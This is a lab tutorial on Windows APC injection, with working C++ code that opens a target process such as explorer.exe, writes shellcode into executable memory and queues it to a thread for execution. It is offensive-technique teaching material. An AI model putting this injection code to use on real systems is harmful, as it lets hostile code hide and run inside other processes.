APC Injection
Overview
In this lab, we cover Asynchronous Procedure Call (APC) injection. Asynchronous Procedure Call (APC) injection is a technique used to execute code in the context of another process’s thread. This method leverages the Windows APC mechanism, which allows for deferred execution of functions in the context of a thread’s execution.
Steps
- Finds and opens a handle to a target process by its name.
- Finds a thread ID within the target process.
- Allocate memory in the target process for the shellcode
- Write the shellcode into the allocated memory in the target process
- Open the thread found in step 2 to inject the APC.
- Queue the APC to the target thread.
Walkthrough
Finds and opens a handle to a process by its name.
HANDLE GetProcessHandle(const wchar_t* processName) {
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all processes
if (hProcessSnap == INVALID_HANDLE_VALUE) {
std::wcerr << L"Failed to create process snapshot." << std::endl;
return NULL;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcessSnap, &pe32)) { // Retrieve the first process information
std::wcerr << L"Failed to retrieve the first process information." << std::endl;
CloseHandle(hProcessSnap);
return NULL;
}
do {
if (_wcsicmp(pe32.szExeFile, processName) == 0) { // Compare process name with "explorer.exe"
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hProcess == NULL) {
std::wcerr << L"Failed to open process handle for " << processName << L". Error: " << GetLastError() << std::endl;
}
else {
CloseHandle(hProcessSnap); // Close snapshot handle after use
return hProcess; // Return the handle to the explorer.exe process
}
}
} while (Process32NextW(hProcessSnap, &pe32)); // Continue to the next process
CloseHandle(hProcessSnap); // Close snapshot handle if process not found
std::wcerr << L"Process " << processName << L" not found." << std::endl;
return NULL;
}
Finds a thread ID within a process.
DWORD GetThreadId(DWORD processId) {
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create thread snapshot." << std::endl;
return 0;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hThreadSnap, &te32)) {
std::cerr << "Failed to retrieve the first thread." << std::endl;
CloseHandle(hThreadSnap);
return 0;
}
DWORD threadId = 0;
do {
if (te32.th32OwnerProcessID == processId) {
threadId = te32.th32ThreadID;
break; // You may choose a specific thread if desired
}
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return threadId;
}
Allocates memory in the target process using VirtualAllocEx, Writes the shellcode into the allocated memory using WriteProcessMemory, Queues the APC with QueueUserAPC, which schedules the shellcode for execution in the target thread’s context.
// Allocate memory in the target process for the shellcode
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteShellcode) {
std::cerr << "Failed to allocate memory in target process." << std::endl;
CloseHandle(hProcess);
return 1;
}
// Write the shellcode into the allocated memory in the target process
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL)) {
std::cerr << "Failed to write shellcode to target process." << std::endl;
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Get a thread ID from the target process
DWORD threadId = GetThreadId(GetProcessId(hProcess));
if (threadId == 0) {
std::cerr << "Failed to get thread ID." << std::endl;
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Open the thread to inject the APC
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
if (!hThread) {
std::cerr << "Failed to open thread in target process." << std::endl;
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Queue the APC to the target thread
if (QueueUserAPC((PAPCFUNC)pRemoteShellcode, hThread, NULL) == 0) {
std::cerr << "Failed to queue APC." << std::endl;
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}

Note
Disadvantage of this technique is that the malicious program cannot force the victim thread to execute the injected code - the thread to which an APC was queued to, needs to enter/be in an alertable state (i.e SleepEx).
